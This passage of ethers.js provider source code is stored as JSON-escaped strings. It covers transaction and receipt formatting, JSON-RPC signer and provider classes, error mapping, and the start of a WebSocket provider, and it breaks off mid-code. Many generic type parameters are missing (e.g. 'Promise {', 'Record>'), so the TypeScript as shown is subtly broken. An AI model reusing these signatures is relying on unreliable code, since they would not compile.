(!isHexString(value)) {\n throw new Error(\"invalid uint256\");\n }\n return hexZeroPad(value, 32);\n }\n\n _block(value: any, format: any): Block {\n if (value.author != null && value.miner == null) {\n value.miner = value.author;\n }\n // The difficulty may need to come from _difficulty in recursed blocks\n const difficulty = (value._difficulty != null) ? value._difficulty: value.difficulty;\n const result = Formatter.check(format, value);\n result._difficulty = ((difficulty == null) ? null: BigNumber.from(difficulty));\n return result;\n }\n\n block(value: any): Block {\n return this._block(value, this.formats.block);\n }\n\n blockWithTransactions(value: any): Block {\n return this._block(value, this.formats.blockWithTransactions);\n }\n\n // Strict! Used on input.\n transactionRequest(value: any): any {\n return Formatter.check(this.formats.transactionRequest, value);\n }\n\n transactionResponse(transaction: any): TransactionResponse {\n\n // Rename gas to gasLimit\n if (transaction.gas != null && transaction.gasLimit == null) {\n transaction.gasLimit = transaction.gas;\n }\n\n // Some clients (TestRPC) do strange things like return 0x0 for the\n // 0 address; correct this to be a real address\n if (transaction.to && BigNumber.from(transaction.to).isZero()) {\n transaction.to = \"0x0000000000000000000000000000000000000000\";\n }\n\n // Rename input to data\n if (transaction.input != null && transaction.data == null) {\n transaction.data = transaction.input;\n }\n\n // If to and creates are empty, populate the creates from the transaction\n if (transaction.to == null && transaction.creates == null) {\n transaction.creates = this.contractAddress(transaction);\n }\n\n if ((transaction.type === 1 || transaction.type === 2)&& transaction.accessList == null) {\n transaction.accessList = [ ];\n }\n\n const result: TransactionResponse = Formatter.check(this.formats.transaction, transaction);\n\n if (transaction.chainId != null) {\n let chainId = transaction.chainId;\n\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n\n result.chainId = chainId;\n\n } else {\n let chainId = transaction.networkId;\n\n // geth-etc returns chainId\n if (chainId == null && result.v == null) {\n chainId = transaction.chainId;\n }\n\n if (isHexString(chainId)) {\n chainId = BigNumber.from(chainId).toNumber();\n }\n\n if (typeof(chainId) !== \"number\" && result.v != null) {\n chainId = (result.v - 35) / 2;\n if (chainId < 0) { chainId = 0; }\n chainId = parseInt(chainId);\n }\n\n if (typeof(chainId) !== \"number\") { chainId = 0; }\n\n result.chainId = chainId;\n }\n\n // 0x0000... should actually be null\n if (result.blockHash && result.blockHash.replace(/0/g, \"\") === \"x\") {\n result.blockHash = null;\n }\n\n return result;\n }\n\n transaction(value: any): any {\n return parseTransaction(value);\n }\n\n receiptLog(value: any): any {\n return Formatter.check(this.formats.receiptLog, value);\n }\n\n receipt(value: any): TransactionReceipt {\n const result: TransactionReceipt = Formatter.check(this.formats.receipt, value);\n\n // RSK incorrectly implemented EIP-658, so we munge things a bit here for it\n if (result.root != null) {\n if (result.root.length <= 4) {\n // Could be 0x00, 0x0, 0x01 or 0x1\n const value = BigNumber.from(result.root).toNumber();\n if (value === 0 || value === 1) {\n // Make sure if both are specified, they match\n if (result.status != null && (result.status !== value)) {\n logger.throwArgumentError(\"alt-root-status/status mismatch\", \"value\", { root: result.root, status: result.status });\n }\n result.status = value;\n delete result.root;\n } else {\n logger.throwArgumentError(\"invalid alt-root-status\", \"value.root\", result.root);\n }\n } else if (result.root.length !== 66) {\n // Must be a valid bytes32\n logger.throwArgumentError(\"invalid root hash\", \"value.root\", result.root);\n }\n }\n\n if (result.status != null) {\n result.byzantium = true;\n }\n\n return result;\n }\n\n topics(value: any): any {\n if (Array.isArray(value)) {\n return value.map((v) => this.topics(v));\n\n } else if (value != null) {\n return this.hash(value, true);\n }\n\n return null;\n }\n\n filter(value: any): any {\n return Formatter.check(this.formats.filter, value);\n }\n\n filterLog(value: any): any {\n return Formatter.check(this.formats.filterLog, value);\n }\n\n static check(format: { [ name: string ]: FormatFunc }, object: any): any {\n const result: any = {};\n for (const key in format) {\n try {\n const value = format[key](object[key]);\n if (value !== undefined) { result[key] = value; }\n } catch (error) {\n error.checkKey = key;\n error.checkValue = object[key];\n throw error;\n }\n }\n return result;\n }\n\n // if value is null-ish, nullValue is returned\n static allowNull(format: FormatFunc, nullValue?: any): FormatFunc {\n return (function(value: any) {\n if (value == null) { return nullValue; }\n return format(value);\n });\n }\n\n // If value is false-ish, replaceValue is returned\n static allowFalsish(format: FormatFunc, replaceValue: any): FormatFunc {\n return (function(value: any) {\n if (!value) { return replaceValue; }\n return format(value);\n });\n }\n\n // Requires an Array satisfying check\n static arrayOf(format: FormatFunc): FormatFunc {\n return (function(array: any): Array {\n if (!Array.isArray(array)) { throw new Error(\"not an array\"); }\n\n const result: any = [];\n\n array.forEach(function(value) {\n result.push(format(value));\n });\n\n return result;\n });\n }\n}\n\nexport interface CommunityResourcable {\n isCommunityResource(): boolean;\n}\n\nexport function isCommunityResourcable(value: any): value is CommunityResourcable {\n return (value && typeof(value.isCommunityResource) === \"function\");\n}\n\nexport function isCommunityResource(value: any): boolean {\n return (isCommunityResourcable(value) && value.isCommunityResource());\n}\n\n// Show the throttle message only once\nlet throttleMessage = false;\nexport function showThrottleMessage() {\n if (throttleMessage) { return; }\n throttleMessage = true;\n\n console.log(\"========= NOTICE =========\")\n console.log(\"Request-Rate Exceeded (this message will not be repeated)\");\n console.log(\"\");\n console.log(\"The default API keys for each service are provided as a highly-throttled,\");\n console.log(\"community resource for low-traffic projects and early prototyping.\");\n console.log(\"\");\n console.log(\"While your application will continue to function, we highly recommended\");\n console.log(\"signing up for your own API keys to improve performance, increase your\");\n console.log(\"request rate/limit and enable other perks, such as metrics and advanced APIs.\");\n console.log(\"\");\n console.log(\"For more details: https:/\\/docs.ethers.io/api-keys/\");\n console.log(\"==========================\");\n}\n\n", "\"use strict\";\n\n// See: https://github.com/ethereum/wiki/wiki/JSON-RPC\n\nimport { Provider, TransactionRequest, TransactionResponse } from \"@ethersproject/abstract-provider\";\nimport { Signer, TypedDataDomain, TypedDataField, TypedDataSigner } from \"@ethersproject/abstract-signer\";\nimport { BigNumber } from \"@ethersproject/bignumber\";\nimport { Bytes, hexlify, hexValue, hexZeroPad, isHexString } from \"@ethersproject/bytes\";\nimport { _TypedDataEncoder } from \"@ethersproject/hash\";\nimport { Network, Networkish } from \"@ethersproject/networks\";\nimport { checkProperties, deepCopy, Deferrable, defineReadOnly, getStatic, resolveProperties, shallowCopy } from \"@ethersproject/properties\";\nimport { toUtf8Bytes } from \"@ethersproject/strings\";\nimport { AccessList, accessListify } from \"@ethersproject/transactions\";\nimport { ConnectionInfo, fetchJson, poll } from \"@ethersproject/web\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { BaseProvider, Event } from \"./base-provider\";\n\n\nconst errorGas = [ \"call\", \"estimateGas\" ];\n\nfunction spelunk(value: any, requireData: boolean): null | { message: string, data: null | string } {\n if (value == null) { return null; }\n\n // These *are* the droids we're looking for.\n if (typeof(value.message) === \"string\" && value.message.match(\"reverted\")) {\n const data = isHexString(value.data) ? value.data: null;\n if (!requireData || data) {\n return { message: value.message, data };\n }\n }\n\n // Spelunk further...\n if (typeof(value) === \"object\") {\n for (const key in value) {\n const result = spelunk(value[key], requireData);\n if (result) { return result; }\n }\n return null;\n }\n\n // Might be a JSON string we can further descend...\n if (typeof(value) === \"string\") {\n try {\n return spelunk(JSON.parse(value), requireData);\n } catch (error) { }\n }\n\n return null;\n}\n\nfunction checkError(method: string, error: any, params: any): any {\n\n const transaction = params.transaction || params.signedTransaction;\n\n // Undo the \"convenience\" some nodes are attempting to prevent backwards\n // incompatibility; maybe for v6 consider forwarding reverts as errors\n if (method === \"call\") {\n const result = spelunk(error, true);\n if (result) { return result.data; }\n\n // Nothing descriptive..\n logger.throwError(\"missing revert data in call exception; Transaction reverted without a reason string\", Logger.errors.CALL_EXCEPTION, {\n data: \"0x\", transaction, error\n });\n }\n\n if (method === \"estimateGas\") {\n // Try to find something, with a preference on SERVER_ERROR body\n let result = spelunk(error.body, false);\n if (result == null) { result = spelunk(error, false); }\n\n // Found \"reverted\", this is a CALL_EXCEPTION\n if (result) {\n logger.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\", Logger.errors.UNPREDICTABLE_GAS_LIMIT, {\n reason: result.message, method, transaction, error\n });\n }\n }\n\n // @TODO: Should we spelunk for message too?\n\n let message = error.message;\n if (error.code === Logger.errors.SERVER_ERROR && error.error && typeof(error.error.message) === \"string\") {\n message = error.error.message;\n } else if (typeof(error.body) === \"string\") {\n message = error.body;\n } else if (typeof(error.responseText) === \"string\") {\n message = error.responseText;\n }\n message = (message || \"\").toLowerCase();\n\n // \"insufficient funds for gas * price + value + cost(data)\"\n if (message.match(/insufficient funds|base fee exceeds gas limit|InsufficientFunds/i)) {\n logger.throwError(\"insufficient funds for intrinsic transaction cost\", Logger.errors.INSUFFICIENT_FUNDS, {\n error, method, transaction\n });\n }\n\n // \"nonce too low\"\n if (message.match(/nonce (is )?too low/i)) {\n logger.throwError(\"nonce has already been used\", Logger.errors.NONCE_EXPIRED, {\n error, method, transaction\n });\n }\n\n // \"replacement transaction underpriced\"\n if (message.match(/replacement transaction underpriced|transaction gas price.*too low/i)) {\n logger.throwError(\"replacement fee too low\", Logger.errors.REPLACEMENT_UNDERPRICED, {\n error, method, transaction\n });\n }\n\n // \"replacement transaction underpriced\"\n if (message.match(/only replay-protected/i)) {\n logger.throwError(\"legacy pre-eip-155 transactions not supported\", Logger.errors.UNSUPPORTED_OPERATION, {\n error, method, transaction\n });\n }\n\n if (errorGas.indexOf(method) >= 0 && message.match(/gas required exceeds allowance|always failing transaction|execution reverted|revert/)) {\n logger.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\", Logger.errors.UNPREDICTABLE_GAS_LIMIT, {\n error, method, transaction\n });\n }\n\n throw error;\n}\n\nfunction timer(timeout: number): Promise {\n return new Promise(function(resolve) {\n setTimeout(resolve, timeout);\n });\n}\n\nfunction getResult(payload: { error?: { code?: number, data?: any, message?: string }, result?: any }): any {\n if (payload.error) {\n // @TODO: not any\n const error: any = new Error(payload.error.message);\n error.code = payload.error.code;\n error.data = payload.error.data;\n throw error;\n }\n\n return payload.result;\n}\n\nfunction getLowerCase(value: string): string {\n if (value) { return value.toLowerCase(); }\n return value;\n}\n\nconst _constructorGuard = {};\n\nexport class JsonRpcSigner extends Signer implements TypedDataSigner {\n readonly provider: JsonRpcProvider;\n _index: number;\n _address: string;\n\n constructor(constructorGuard: any, provider: JsonRpcProvider, addressOrIndex?: string | number) {\n super();\n\n if (constructorGuard !== _constructorGuard) {\n throw new Error(\"do not call the JsonRpcSigner constructor directly; use provider.getSigner\");\n }\n\n defineReadOnly(this, \"provider\", provider);\n\n if (addressOrIndex == null) { addressOrIndex = 0; }\n\n if (typeof(addressOrIndex) === \"string\") {\n defineReadOnly(this, \"_address\", this.provider.formatter.address(addressOrIndex));\n defineReadOnly(this, \"_index\", null);\n\n } else if (typeof(addressOrIndex) === \"number\") {\n defineReadOnly(this, \"_index\", addressOrIndex);\n defineReadOnly(this, \"_address\", null);\n\n } else {\n logger.throwArgumentError(\"invalid address or index\", \"addressOrIndex\", addressOrIndex);\n }\n }\n\n connect(provider: Provider): JsonRpcSigner {\n return logger.throwError(\"cannot alter JSON-RPC Signer connection\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"connect\"\n });\n }\n\n connectUnchecked(): JsonRpcSigner {\n return new UncheckedJsonRpcSigner(_constructorGuard, this.provider, this._address || this._index);\n }\n\n getAddress(): Promise {\n if (this._address) {\n return Promise.resolve(this._address);\n }\n\n return this.provider.send(\"eth_accounts\", []).then((accounts) => {\n if (accounts.length <= this._index) {\n logger.throwError(\"unknown account #\" + this._index, Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"getAddress\"\n });\n }\n return this.provider.formatter.address(accounts[this._index])\n });\n }\n\n sendUncheckedTransaction(transaction: Deferrable): Promise {\n transaction = shallowCopy(transaction);\n\n const fromAddress = this.getAddress().then((address) => {\n if (address) { address = address.toLowerCase(); }\n return address;\n });\n\n // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user\n // wishes to use this, it is easy to specify explicitly, otherwise\n // we look it up for them.\n if (transaction.gasLimit == null) {\n const estimate = shallowCopy(transaction);\n estimate.from = fromAddress;\n transaction.gasLimit = this.provider.estimateGas(estimate);\n }\n\n if (transaction.to != null) {\n transaction.to = Promise.resolve(transaction.to).then(async (to) => {\n if (to == null) { return null; }\n const address = await this.provider.resolveName(to);\n if (address == null) {\n logger.throwArgumentError(\"provided ENS name resolves to null\", \"tx.to\", to);\n }\n return address;\n });\n }\n\n return resolveProperties({\n tx: resolveProperties(transaction),\n sender: fromAddress\n }).then(({ tx, sender }) => {\n\n if (tx.from != null) {\n if (tx.from.toLowerCase() !== sender) {\n logger.throwArgumentError(\"from address mismatch\", \"transaction\", transaction);\n }\n } else {\n tx.from = sender;\n }\n\n const hexTx = (this.provider.constructor).hexlifyTransaction(tx, { from: true });\n\n return this.provider.send(\"eth_sendTransaction\", [ hexTx ]).then((hash) => {\n return hash;\n }, (error) => {\n if (typeof(error.message) === \"string\" && error.message.match(/user denied/i)) {\n logger.throwError(\"user rejected transaction\", Logger.errors.ACTION_REJECTED, {\n action: \"sendTransaction\",\n transaction: tx\n });\n }\n\n return checkError(\"sendTransaction\", error, hexTx);\n });\n });\n }\n\n signTransaction(transaction: Deferrable): Promise {\n return logger.throwError(\"signing transactions is unsupported\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"signTransaction\"\n });\n }\n\n async sendTransaction(transaction: Deferrable): Promise {\n // This cannot be mined any earlier than any recent block\n const blockNumber = await this.provider._getInternalBlockNumber(100 + 2 * this.provider.pollingInterval);\n\n // Send the transaction\n const hash = await this.sendUncheckedTransaction(transaction);\n\n try {\n // Unfortunately, JSON-RPC only provides and opaque transaction hash\n // for a response, and we need the actual transaction, so we poll\n // for it; it should show up very quickly\n return await poll(async () => {\n const tx = await this.provider.getTransaction(hash);\n if (tx === null) { return undefined; }\n return this.provider._wrapTransaction(tx, hash, blockNumber);\n }, { oncePoll: this.provider });\n } catch (error) {\n (error).transactionHash = hash;\n throw error;\n }\n }\n\n async signMessage(message: Bytes | string): Promise {\n const data = ((typeof(message) === \"string\") ? toUtf8Bytes(message): message);\n const address = await this.getAddress();\n try {\n return await this.provider.send(\"personal_sign\", [ hexlify(data), address.toLowerCase() ]);\n } catch (error) {\n if (typeof(error.message) === \"string\" && error.message.match(/user denied/i)) {\n logger.throwError(\"user rejected signing\", Logger.errors.ACTION_REJECTED, {\n action: \"signMessage\",\n from: address,\n messageData: message\n });\n }\n throw error;\n }\n }\n\n async _legacySignMessage(message: Bytes | string): Promise {\n const data = ((typeof(message) === \"string\") ? toUtf8Bytes(message): message);\n const address = await this.getAddress();\n\n try {\n // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign\n return await this.provider.send(\"eth_sign\", [ address.toLowerCase(), hexlify(data) ]);\n } catch (error) {\n if (typeof(error.message) === \"string\" && error.message.match(/user denied/i)) {\n logger.throwError(\"user rejected signing\", Logger.errors.ACTION_REJECTED, {\n action: \"_legacySignMessage\",\n from: address,\n messageData: message\n });\n }\n throw error;\n }\n }\n\n async _signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise {\n // Populate any ENS names (in-place)\n const populated = await _TypedDataEncoder.resolveNames(domain, types, value, (name: string) => {\n return this.provider.resolveName(name);\n });\n\n const address = await this.getAddress();\n\n try {\n return await this.provider.send(\"eth_signTypedData_v4\", [\n address.toLowerCase(),\n JSON.stringify(_TypedDataEncoder.getPayload(populated.domain, types, populated.value))\n ]);\n } catch (error) {\n if (typeof(error.message) === \"string\" && error.message.match(/user denied/i)) {\n logger.throwError(\"user rejected signing\", Logger.errors.ACTION_REJECTED, {\n action: \"_signTypedData\",\n from: address,\n messageData: { domain: populated.domain, types, value: populated.value }\n });\n }\n throw error;\n }\n }\n\n async unlock(password: string): Promise {\n const provider = this.provider;\n\n const address = await this.getAddress();\n\n return provider.send(\"personal_unlockAccount\", [ address.toLowerCase(), password, null ]);\n }\n}\n\nclass UncheckedJsonRpcSigner extends JsonRpcSigner {\n sendTransaction(transaction: Deferrable): Promise {\n return this.sendUncheckedTransaction(transaction).then((hash) => {\n return {\n hash: hash,\n nonce: null,\n gasLimit: null,\n gasPrice: null,\n data: null,\n value: null,\n chainId: null,\n confirmations: 0,\n from: null,\n wait: (confirmations?: number) => { return this.provider.waitForTransaction(hash, confirmations); }\n };\n });\n }\n}\n\nconst allowedTransactionKeys: { [ key: string ]: boolean } = {\n chainId: true, data: true, gasLimit: true, gasPrice:true, nonce: true, to: true, value: true,\n type: true, accessList: true,\n maxFeePerGas: true, maxPriorityFeePerGas: true\n}\n\nexport class JsonRpcProvider extends BaseProvider {\n readonly connection: ConnectionInfo;\n\n _pendingFilter: Promise;\n _nextId: number;\n\n // During any given event loop, the results for a given call will\n // all be the same, so we can dedup the calls to save requests and\n // bandwidth. @TODO: Try out generalizing this against send?\n _eventLoopCache: Record>;\n get _cache(): Record> {\n if (this._eventLoopCache == null) {\n this._eventLoopCache = { };\n }\n return this._eventLoopCache;\n }\n\n constructor(url?: ConnectionInfo | string, network?: Networkish) {\n let networkOrReady: Networkish | Promise = network;\n\n // The network is unknown, query the JSON-RPC for it\n if (networkOrReady == null) {\n networkOrReady = new Promise((resolve, reject) => {\n setTimeout(() => {\n this.detectNetwork().then((network) => {\n resolve(network);\n }, (error) => {\n reject(error);\n });\n }, 0);\n });\n }\n\n super(networkOrReady);\n\n // Default URL\n if (!url) { url = getStatic<() => string>(this.constructor, \"defaultUrl\")(); }\n\n if (typeof(url) === \"string\") {\n defineReadOnly(this, \"connection\",Object.freeze({\n url: url\n }));\n } else {\n defineReadOnly(this, \"connection\", Object.freeze(shallowCopy(url)));\n }\n\n this._nextId = 42;\n }\n\n static defaultUrl(): string {\n return \"http:/\\/localhost:8545\";\n }\n\n detectNetwork(): Promise {\n if (!this._cache[\"detectNetwork\"]) {\n this._cache[\"detectNetwork\"] = this._uncachedDetectNetwork();\n\n // Clear this cache at the beginning of the next event loop\n setTimeout(() => {\n this._cache[\"detectNetwork\"] = null;\n }, 0);\n }\n return this._cache[\"detectNetwork\"];\n }\n\n async _uncachedDetectNetwork(): Promise {\n await timer(0);\n\n let chainId = null;\n try {\n chainId = await this.send(\"eth_chainId\", [ ]);\n } catch (error) {\n try {\n chainId = await this.send(\"net_version\", [ ]);\n } catch (error) { }\n }\n\n if (chainId != null) {\n const getNetwork = getStatic<(network: Networkish) => Network>(this.constructor, \"getNetwork\");\n try {\n return getNetwork(BigNumber.from(chainId).toNumber());\n } catch (error) {\n return logger.throwError(\"could not detect network\", Logger.errors.NETWORK_ERROR, {\n chainId: chainId,\n event: \"invalidNetwork\",\n serverError: error\n });\n }\n }\n\n return logger.throwError(\"could not detect network\", Logger.errors.NETWORK_ERROR, {\n event: \"noNetwork\"\n });\n }\n\n getSigner(addressOrIndex?: string | number): JsonRpcSigner {\n return new JsonRpcSigner(_constructorGuard, this, addressOrIndex);\n }\n\n getUncheckedSigner(addressOrIndex?: string | number): UncheckedJsonRpcSigner {\n return this.getSigner(addressOrIndex).connectUnchecked();\n }\n\n listAccounts(): Promise> {\n return this.send(\"eth_accounts\", []).then((accounts: Array) => {\n return accounts.map((a) => this.formatter.address(a));\n });\n }\n\n send(method: string, params: Array): Promise {\n const request = {\n method: method,\n params: params,\n id: (this._nextId++),\n jsonrpc: \"2.0\"\n };\n\n this.emit(\"debug\", {\n action: \"request\",\n request: deepCopy(request),\n provider: this\n });\n\n // We can expand this in the future to any call, but for now these\n // are the biggest wins and do not require any serializing parameters.\n const cache = ([ \"eth_chainId\", \"eth_blockNumber\" ].indexOf(method) >= 0);\n if (cache && this._cache[method]) {\n return this._cache[method];\n }\n\n const result = fetchJson(this.connection, JSON.stringify(request), getResult).then((result) => {\n this.emit(\"debug\", {\n action: \"response\",\n request: request,\n response: result,\n provider: this\n });\n\n return result;\n\n }, (error) => {\n this.emit(\"debug\", {\n action: \"response\",\n error: error,\n request: request,\n provider: this\n });\n\n throw error;\n });\n\n // Cache the fetch, but clear it on the next event loop\n if (cache) {\n this._cache[method] = result;\n setTimeout(() => {\n this._cache[method] = null;\n }, 0);\n }\n\n return result;\n }\n\n prepareRequest(method: string, params: any): [ string, Array ] {\n switch (method) {\n case \"getBlockNumber\":\n return [ \"eth_blockNumber\", [] ];\n\n case \"getGasPrice\":\n return [ \"eth_gasPrice\", [] ];\n\n case \"getBalance\":\n return [ \"eth_getBalance\", [ getLowerCase(params.address), params.blockTag ] ];\n\n case \"getTransactionCount\":\n return [ \"eth_getTransactionCount\", [ getLowerCase(params.address), params.blockTag ] ];\n\n case \"getCode\":\n return [ \"eth_getCode\", [ getLowerCase(params.address), params.blockTag ] ];\n\n case \"getStorageAt\":\n return [ \"eth_getStorageAt\", [ getLowerCase(params.address), hexZeroPad(params.position, 32), params.blockTag ] ];\n\n case \"sendTransaction\":\n return [ \"eth_sendRawTransaction\", [ params.signedTransaction ] ]\n\n case \"getBlock\":\n if (params.blockTag) {\n return [ \"eth_getBlockByNumber\", [ params.blockTag, !!params.includeTransactions ] ];\n } else if (params.blockHash) {\n return [ \"eth_getBlockByHash\", [ params.blockHash, !!params.includeTransactions ] ];\n }\n return null;\n\n case \"getTransaction\":\n return [ \"eth_getTransactionByHash\", [ params.transactionHash ] ];\n\n case \"getTransactionReceipt\":\n return [ \"eth_getTransactionReceipt\", [ params.transactionHash ] ];\n\n case \"call\": {\n const hexlifyTransaction = getStatic<(t: TransactionRequest, a?: { [key: string]: boolean }) => { [key: string]: string }>(this.constructor, \"hexlifyTransaction\");\n return [ \"eth_call\", [ hexlifyTransaction(params.transaction, { from: true }), params.blockTag ] ];\n }\n\n case \"estimateGas\": {\n const hexlifyTransaction = getStatic<(t: TransactionRequest, a?: { [key: string]: boolean }) => { [key: string]: string }>(this.constructor, \"hexlifyTransaction\");\n return [ \"eth_estimateGas\", [ hexlifyTransaction(params.transaction, { from: true }) ] ];\n }\n\n case \"getLogs\":\n if (params.filter && params.filter.address != null) {\n params.filter.address = getLowerCase(params.filter.address);\n }\n return [ \"eth_getLogs\", [ params.filter ] ];\n\n default:\n break;\n }\n\n return null;\n }\n\n async perform(method: string, params: any): Promise {\n // Legacy networks do not like the type field being passed along (which\n // is fair), so we delete type if it is 0 and a non-EIP-1559 network\n if (method === \"call\" || method === \"estimateGas\") {\n const tx = params.transaction;\n if (tx && tx.type != null && BigNumber.from(tx.type).isZero()) {\n // If there are no EIP-1559 properties, it might be non-EIP-1559\n if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) {\n const feeData = await this.getFeeData();\n if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) {\n // Network doesn't know about EIP-1559 (and hence type)\n params = shallowCopy(params);\n params.transaction = shallowCopy(tx);\n delete params.transaction.type;\n }\n }\n }\n }\n\n const args = this.prepareRequest(method, params);\n\n if (args == null) {\n logger.throwError(method + \" not implemented\", Logger.errors.NOT_IMPLEMENTED, { operation: method });\n }\n try {\n return await this.send(args[0], args[1])\n } catch (error) {\n return checkError(method, error, params);\n }\n }\n\n _startEvent(event: Event): void {\n if (event.tag === \"pending\") { this._startPending(); }\n super._startEvent(event);\n }\n\n _startPending(): void {\n if (this._pendingFilter != null) { return; }\n const self = this;\n\n const pendingFilter: Promise = this.send(\"eth_newPendingTransactionFilter\", []);\n this._pendingFilter = pendingFilter;\n\n pendingFilter.then(function(filterId) {\n function poll() {\n self.send(\"eth_getFilterChanges\", [ filterId ]).then(function(hashes: Array) {\n if (self._pendingFilter != pendingFilter) { return null; }\n\n let seq = Promise.resolve();\n hashes.forEach(function(hash) {\n // @TODO: This should be garbage collected at some point... How? When?\n self._emitted[\"t:\" + hash.toLowerCase()] = \"pending\";\n seq = seq.then(function() {\n return self.getTransaction(hash).then(function(tx) {\n self.emit(\"pending\", tx);\n return null;\n });\n });\n });\n\n return seq.then(function() {\n return timer(1000);\n });\n }).then(function() {\n if (self._pendingFilter != pendingFilter) {\n self.send(\"eth_uninstallFilter\", [ filterId ]);\n return;\n }\n setTimeout(function() { poll(); }, 0);\n\n return null;\n }).catch((error: Error) => { });\n }\n poll();\n\n return filterId;\n }).catch((error: Error) => { });\n }\n\n _stopEvent(event: Event): void {\n if (event.tag === \"pending\" && this.listenerCount(\"pending\") === 0) {\n this._pendingFilter = null;\n }\n super._stopEvent(event);\n }\n\n // Convert an ethers.js transaction into a JSON-RPC transaction\n // - gasLimit => gas\n // - All values hexlified\n // - All numeric values zero-striped\n // - All addresses are lowercased\n // NOTE: This allows a TransactionRequest, but all values should be resolved\n // before this is called\n // @TODO: This will likely be removed in future versions and prepareRequest\n // will be the preferred method for this.\n static hexlifyTransaction(transaction: TransactionRequest, allowExtra?: { [key: string]: boolean }): { [key: string]: string | AccessList } {\n // Check only allowed properties are given\n const allowed = shallowCopy(allowedTransactionKeys);\n if (allowExtra) {\n for (const key in allowExtra) {\n if (allowExtra[key]) { allowed[key] = true; }\n }\n }\n\n checkProperties(transaction, allowed);\n\n const result: { [key: string]: string | AccessList } = {};\n\n // JSON-RPC now requires numeric values to be \"quantity\" values\n [\"chainId\", \"gasLimit\", \"gasPrice\", \"type\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"nonce\", \"value\"].forEach(function(key) {\n if ((transaction)[key] == null) { return; }\n const value = hexValue(BigNumber.from((transaction)[key]));\n if (key === \"gasLimit\") { key = \"gas\"; }\n result[key] = value;\n });\n\n [\"from\", \"to\", \"data\"].forEach(function(key) {\n if ((transaction)[key] == null) { return; }\n result[key] = hexlify((transaction)[key]);\n });\n\n if ((transaction).accessList) {\n result[\"accessList\"] = accessListify((transaction).accessList);\n }\n\n return result;\n }\n}\n", "\"use strict\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\n\nlet WS: any = null;\n\ntry {\n WS = (WebSocket as any);\n if (WS == null) { throw new Error(\"inject please\"); }\n} catch (error) {\n const logger = new Logger(version);\n WS = function() {\n logger.throwError(\"WebSockets not supported in this environment\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new WebSocket()\"\n });\n }\n}\n//export default WS;\n//module.exports = WS;\nexport { WS as WebSocket };\n", "\"use strict\";\n\nimport { BigNumber } from \"@ethersproject/bignumber\";\nimport { Network, Networkish } from \"@ethersproject/networks\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\n\nimport { Event } from \"./base-provider\";\nimport { JsonRpcProvider } from \"./json-rpc-provider\";\nimport { WebSocket } from \"./ws\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n/**\n * Notes:\n *\n * This provider differs a bit from the polling providers. One main\n * difference is how it handles consistency. The polling providers\n * will stall responses to ensure a consistent state, while this\n * WebSocket provider assumes the connected backend will manage this.\n *\n * For example, if a polling provider emits an event which indicates\n * the event occurred in blockhash XXX, a call to fetch that block by\n * its hash XXX, if not present will retry until it is present. This\n * can occur when querying a pool of nodes that are mildly out of sync\n * with each other.\n */\n\nlet NextId = 1;\n\nexport type InflightRequest = {\n callback: (error: Error, result: any) => void;\n payload: string;\n};\n\nexport type Subscription = {\n tag: string;\n processFunc: (payload: any) => void;\n};\n\nexport interface WebSocketLike {\n onopen: ((...args: Array) => any) | null;\n onmessage: ((...args: Array) => any) | null;\n onerror: ((...args: Array) => any) | null;\n\n readyState: number;\n\n send(payload: any): void;\n close(code?: number, reason?: string): void;\n}\n\n// For more info about the Real-time Event API see:\n// https://geth.ethereum.org/docs/rpc/pubsub\n\nexport class WebSocketProvider extends JsonRpcProvider {\n readonly _websocket: any;\n readonly _requests: { [ name: string ]: InflightRequest };\n readonly _detectNetwork: Promise;\n\n // Maps event tag to subscription ID (we dedupe identical events)\n readonly _subIds: { [ tag: string ]: Promise };\n\n // Maps Subscription ID to Subscription\n readonly _subs: { [ name: string ]: Subscription };\n\n _wsReady: boolean;\n\n constructor(url: string | WebSocketLike, network?: Networkish) {\n\n // This will be added in the future; please open an issue to expedite\n if (network === \"any\") {\n logger.throwError(\"WebSocketProvider does not support 'any' network yet\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"network:any\"\n });\n }\n\n if (typeof(url) === \"string\") {\n super(url, network);\n } else {\n super(\"_websocket\", network);\n }\n\n this._pollingInterval = -1;\n\n this._wsReady = false;\n\n if (typeof(url) === \"string\") {\n defineReadOnly(this, \"_websocket\", new WebSocket(this.connection.url));\n } else {\n defineReadOnly(this, \"_websocket\", url);\n }\n\n defineReadOnly(this, \"_requests\", { });\n defineReadOnly(this, \"_subs\", { });\n defineReadOnly(this, \"_subIds\", { });\n defineReadOnly(this, \"_detectNetwork\", super.detectNetwork());\n\n // Stall sending requests until the socket is open...\n this.websocket.onopen = () => {\n this._wsReady = true;\n Object.keys(this._requests).forEach((id) => {\n this.websocket.send(this._requests[id].payload);\n });\n };\n\n this.websocket.onmessage = (messageEvent: { data: string }) => {\n const data = messageEvent.data;\n const result = JSON.parse(data);\n if (result.id != null) {\n const id = String(result.id);\n const request = this._requests[id];\n delete this._requests[id];\n\n if (result.result !== undefined) {\n request.callback(null, result.result);\n\n this.emit(\"debug\", {\n action: \"response\",\n request: JSON.parse(request.payload),\n response: result.result,\n provider: this\n });\n\n } else {\n let error: Error = null;\n if (result.error) {\n error = new Error(result.error.message || \"unknown error\");\n defineReadOnly(error, \"code\", result.error.code || null);\n defineReadOnly(error, \"response\", data);\n } else {\n error = new Error(\"unknown error\");\n }\n\n request.callback(error, undefined);\n\n this.emit(\"debug\", {\n action: \"response\",\n error: error,\n request: JSON.parse(request.payload),\n provider: this\n });\n\n }\n\n } else if (result.method === \"eth_subscription\") {\n // Subscription...\n const sub = 